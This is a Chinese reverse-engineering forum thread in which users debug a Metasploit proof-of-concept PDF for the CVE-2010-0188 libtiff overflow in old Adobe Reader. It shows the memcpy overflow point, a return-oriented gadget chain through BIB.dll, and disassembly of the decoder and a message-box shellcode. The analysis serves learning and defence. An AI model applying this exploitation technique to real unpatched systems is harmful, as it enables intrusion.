能力值:
( LV12,RANK:440 )
|
-
-
2 楼
当当网不给力 都订了一个月了还没有来= =
漏洞分析文档里面应该会说明溢出的发生位置?至于为什么没有断下来,也不甚了解。
|
能力值:
( LV2,RANK:10 )
|
-
-
3 楼
那我再找找文档吧。。。乱试一通以后发现那个messagebox断点好像得bp MessageBoxA才有用~~
谢谢啦~
|
能力值:
( LV12,RANK:440 )
|
-
-
4 楼
呵呵,忙也没帮上,OD指令不熟,断API一般用的确实是bp指令。
|
能力值:
( LV13,RANK:388 )
|
-
-
5 楼
bp会断在函数第一条指令上,除非调用者有意绕过头几条指令,那就肯定能断到
bpx会断在主模块对该函数的引用上,如果函数不在导入表中,而是动态获取的,bpx是断不到的
|
能力值:
( LV12,RANK:440 )
|
-
-
6 楼
学习了,shellcode是动态调用API,bpx理所应当的断不下来
|
能力值:
( LV2,RANK:10 )
|
-
-
7 楼
原来如此,学习了~
|
能力值:
( LV13,RANK:388 )
|
-
-
8 楼
另外还有些简单的方法就是当弹出msgbox的时候
方法1. od先f12暂停程序,然后alt+f9,然后点确定,这样就断在了调用msgbox的下一条指令上
方法2. od alt+m打开内存窗口,然后找到主模块的text段,f2下断,点确定,也能断在调用msgbox的下一条指令上
两种方法的原理是一样的
|
能力值:
( LV2,RANK:10 )
|
-
-
9 楼
谢谢~~
有关这个漏洞,我找到了一些文档,说是TIFFReadDirectory()中调用了TIFFFetchShortPair(),count>2时进入TIFFFetchData(),其中_TIFFmemcpy(cp, tif->tif_base + dir->tdir_offset, cc);为缓冲区溢出的函数
在另一篇文章:http://blog.fortinet.com/cve-2010-0188-exploit-in-the-wild/
里发现TIFFFetchData()是在AcroForm.api中的,丢到IDA里,ctrl+L,查找memcpy在地址20802622(是这样找吗?IDA我也不太会用)
(这篇文章里的地址好象不对,我的AcroForm.api版本比它高,版本不一样吧,poc还是能正常溢出)
于是用od打开acrord32.exe,下bp TranslateMessage MSG==WM_LBUTTONUP后F9,打开msf.pdf,断下(此时reader未加载acroform.api,所以无法拦下20802622),再F9,弹出MessageBox,按确定再断下,alt+M能看到acroform.text是在20801000。
bp 20802622
重新再来,到了这里
一次一次F9,d 栈里的src地址,可就找不到导致溢出的数据啊~~奇怪的是多按了几次程序就会终止(不执行shellcode)
请问,该如何才能找到那个导致溢出的memcpy函数啊?
|
能力值:
( LV13,RANK:388 )
|
-
-
10 楼
弹出msgbox之后 暂停程序看看 调用堆栈,
如果这个漏洞是栈溢出的话,最近一层的返回地址可能已经被破坏所以估计找不到调用memcpy的地方了
那就再往更上一层找 然后下断 一步一步跟
把poc和shellcode发上来吧
|
能力值:
( LV2,RANK:10 )
|
-
-
11 楼
附件里是用msf做的测试pdf
shellcode用的就是failwest的弹messagebox的那个(0day安全p97),只是手不听话把对话框内容改了一下,呵呵~
我用的是adobe reader 9.0.0,9.3.0以前的都可以的
我再跟跟看~
|
能力值:
( LV2,RANK:10 )
|
-
-
12 楼
学习了~ ......
|
能力值:
( LV13,RANK:388 )
|
-
-
13 楼
找了个9.3.0 大致上跟了下
溢出点,就是memcpy这个函数
209D4572 57 push edi 209D4573 03C1 add eax, ecx 209D4575 50 push eax 209D4576 FF75 08 push dword ptr [ebp+8] 209D4579 E8 70E1E2FF call <jmp.&MSVCR80.memcpy> 209D457E 017D 08 add dword ptr [ebp+8], edi 209D4581 017E 24 add dword ptr [esi+24], edi
在这个函数上下断,观察栈并按f9继续
当这个函数的dest拷贝目标地址为栈空间,并且块大小为0x130时就是要覆盖返回地址了
0012D6D0 0012D778 |dest = 0012D778 0012D6D4 043A1ABA |src = 043A1ABA 0012D6D8 00000130 \n = 130 (304.) 0012D6DC 00000198
这时候把栈拨道12D778 然后锁定栈窗口 F8,可以看到返回地址被覆盖为BIB.dll里的一个地址
0012D778 080C0C00 CoolType.080C0C00 0012D77C 00010124 UNICODE "ramFiles=C:\Program Files\Common Files" 0012D780 070072F7 BIB.070072F7 0012D784 00010104 UNICODE "nsole" 0012D788 070015BB BIB.070015BB 0012D78C 00001000 0012D790 0700154D BIB.0700154D 0012D794 070015BB BIB.070015BB
shellcode拿BIB.dll当做了跳板,复制代码的工作也交给了这个dll,f8一步一步跟
0700D731 8B45 DC mov eax, dword ptr [ebp-24] ;从栈中取出shellcode的地址 0700D734 C3 retn
跳板1,从栈里取出shellcode要被实际安放的地址
070015BB 59 pop ecx 070015BC C3 retn
跳板3,从栈里弹出预先设计的代码,一次一个dword,同时这个跳板也负责维护栈平衡
0700154D 8908 mov dword ptr [eax], ecx 0700154F C3 retn
跳板2,将预先设计的代码复制到这个地址,每次一个dword
0700A722 83C0 04 add eax, 4 0700A725 C3 retn
跳板4,调整eax值,继续复制
shellcode反复利用这四个个跳板成功的将一段压缩的代码复制到0x3aa0000(我这里的)
还有一些其他的跳板,多用于维护栈平衡
复制完成后,再利用跳板1将代码实际地址装入eax
然后使用下面这个最后的跳板
0700112F FFD0 call eax
此时eip已经指向复制完成的代码了
不过代码是压缩的
03A10000 5A pop edx 03A10001 52 push edx 03A10002 6A 02 push 2 03A10004 58 pop eax 03A10005 CD 2E int 2E 03A10007 3C 05 cmp al, 5 03A10009 5A pop edx 03A1000A ^ 74 F4 je short 03A10000 03A1000C B8 49492A00 mov eax, 2A4949 03A10011 8BFA mov edi, edx 03A10013 AF scas dword ptr es:[edi] 03A10014 ^ 75 EA jnz short 03A10000 03A10016 87FE xchg esi, edi 03A10018 EB 0A jmp short 03A10024 03A1001A 5F pop edi 03A1001B B9 E0030000 mov ecx, 3E0 ;实际指令块长度 03A10020 F3:A5 rep movs dword ptr es:[edi], dword ptr [esi] 03A10022 EB 09 jmp short 03A1002D 03A10024 E8 F1FFFFFF call 03A1001A
其中最后一个call就是解压缩的循环,从0x3a1001b可以看出实际指令块长度为0x3e0
解压完成后的代码是加密的,利用这个循环来解密
03C70619 83ED FC sub ebp, -4 03C7061C 317D 13 xor dword ptr [ebp+13], edi 03C7061F 037D 13 add edi, dword ptr [ebp+13] 03C70622 ^ E2 F5 loopd short 03C70619
这是解密后的代码
03AA0624 FC cld 03AA0625 68 6A0A381E push 1E380A6A 03AA062A 68 6389D14F push 4FD18963 03AA062F 68 3274910C push 0C917432 03AA0634 8BF4 mov esi, esp 03AA0636 8D7E F4 lea edi, dword ptr [esi-C] 03AA0639 33DB xor ebx, ebx 03AA063B B7 04 mov bh, 4 03AA063D 2BE3 sub esp, ebx 03AA063F 66:BB 3332 mov bx, 3233 03AA0643 53 push ebx 03AA0644 68 75736572 push 72657375 03AA0649 54 push esp 03AA064A 33D2 xor edx, edx 03AA064C 64:8B5A 30 mov ebx, dword ptr fs:[edx+30] 03AA0650 8B4B 0C mov ecx, dword ptr [ebx+C] 03AA0653 8B49 1C mov ecx, dword ptr [ecx+1C] 03AA0656 8B09 mov ecx, dword ptr [ecx] 03AA0658 8B69 08 mov ebp, dword ptr [ecx+8] 03AA065B AD lods dword ptr [esi] 03AA065C 3D 6A0A381E cmp eax, 1E380A6A 03AA0661 75 05 jnz short 03AA0668 03AA0663 95 xchg eax, ebp 03AA0664 FF57 F8 call dword ptr [edi-8] 03AA0667 95 xchg eax, ebp 03AA0668 60 pushad 03AA0669 8B45 3C mov eax, dword ptr [ebp+3C] 03AA066C 8B4C05 78 mov ecx, dword ptr [ebp+eax+78] 03AA0670 03CD add ecx, ebp 03AA0672 8B59 20 mov ebx, dword ptr [ecx+20] 03AA0675 03DD add ebx, ebp 03AA0677 33FF xor edi, edi 03AA0679 47 inc edi 03AA067A 8B34BB mov esi, dword ptr [ebx+edi*4] 03AA067D 03F5 add esi, ebp 03AA067F 99 cdq 03AA0680 0FBE06 movsx eax, byte ptr [esi] 03AA0683 3AC4 cmp al, ah 03AA0685 74 08 je short 03AA068F 03AA0687 C1CA 07 ror edx, 7 03AA068A 03D0 add edx, eax 03AA068C 46 inc esi 03AA068D ^ EB F1 jmp short 03AA0680 03AA068F 3B5424 1C cmp edx, dword ptr [esp+1C] 03AA0693 ^ 75 E4 jnz short 03AA0679 03AA0695 8B59 24 mov ebx, dword ptr [ecx+24] 03AA0698 03DD add ebx, ebp 03AA069A 66:8B3C7B mov di, word ptr [ebx+edi*2] 03AA069E 8B59 1C mov ebx, dword ptr [ecx+1C] 03AA06A1 03DD add ebx, ebp 03AA06A3 032CBB add ebp, dword ptr [ebx+edi*4] 03AA06A6 95 xchg eax, ebp 03AA06A7 5F pop edi 03AA06A8 AB stos dword ptr es:[edi] 03AA06A9 57 push edi 03AA06AA 61 popad 03AA06AB 3D 6A0A381E cmp eax, 1E380A6A 03AA06B0 ^ 75 A9 jnz short 03AA065B 03AA06B2 33DB xor ebx, ebx 03AA06B4 53 push ebx 03AA06B5 68 D0C0B8C4 push C4B8C0D0 03AA06BA 68 C5CBB5C0 push C0B5CBC5 03AA06BF 8BC4 mov eax, esp 03AA06C1 53 push ebx 03AA06C2 50 push eax 03AA06C3 50 push eax 03AA06C4 53 push ebx 03AA06C5 FF57 FC call dword ptr [edi-4] ;MessageBoxA 03AA06C8 53 push ebx 03AA06C9 FF57 F8 call dword ptr [edi-8] ;ExitProcessA
|
能力值:
( LV13,RANK:388 )
|
-
-
14 楼
win7下测了下,这个poc是不行的,因为win7下主模块和dll的基址都是随机的,而shellcode里返回地址是硬编码的,所以win7下eip会指向一个无效地址 引发异常
|
能力值:
( LV2,RANK:10 )
|
-
-
15 楼
对的,exploit上说应该在xp sp3下
你的功底真扎实,真有见解,非常感谢你的详细的指导!~
谢谢~
|
能力值:
( LV2,RANK:10 )
|
-
-
16 楼
好像前面在用adobe reader 9.0跟的时候memcpy是在209C66E8处?
呵呵~
|
能力值:
( LV13,RANK:388 )
|
-
-
17 楼
adobe reader版本不一样 地址不一样很正常
只要确认到了溢出点 溢出过程是一样的 从第一个返回地址被覆盖开始 程序的实际掌握权已经给了shellcode
|
能力值:
( LV2,RANK:10 )
|
-
-
18 楼
谢谢~
|